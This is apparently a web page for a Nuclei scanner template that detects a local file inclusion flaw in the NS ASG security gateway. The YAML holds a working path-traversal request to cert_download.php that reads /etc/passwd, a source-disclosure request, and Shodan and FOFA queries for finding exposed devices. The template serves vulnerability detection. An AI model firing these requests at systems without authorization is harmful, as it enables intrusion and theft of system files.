NS ASG - Local File Inclusion

ID: nsasg-arbitrary-file-read

Severity: high

Author: pikpikcu,ritikchaddha

Tags: nsasg,lfi

Description

NS ASG is vulnerable to local file inclusion.

YAML Source

id: nsasg-arbitrary-file-read

info:
  name: NS ASG - Local File Inclusion
  author: pikpikcu,ritikchaddha
  severity: high
  description: NS ASG is vulnerable to local file inclusion.
  reference:
    - https://zhuanlan.zhihu.com/p/368054963
    - http://wiki.xypbk.com/Web安全/网康%20NS-ASG安全网关/网康%20NS-ASG安全网关%20任意文件读取漏洞.md
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
    cpe: cpe:2.3:h:netentsec:ns-asg:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.title:“NS-ASG”
    fofa-query: app="网康科技-NS-ASG安全网关"
    product: ns-asg
    vendor: netentsec
  tags: nsasg,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"
      - "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "$certfile"
          - "application/pdf"
        condition: and
# digest: 4a0a0047304502207593d84e2f047ff77c10e1497b346d41c75cd79cbb621ba24af99b213e44d7e302210091ee7ebc43d1288a56411ce47789e019b222f327fd988d9048723cfc54ba4513:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/ns-asg-file-read.yaml"

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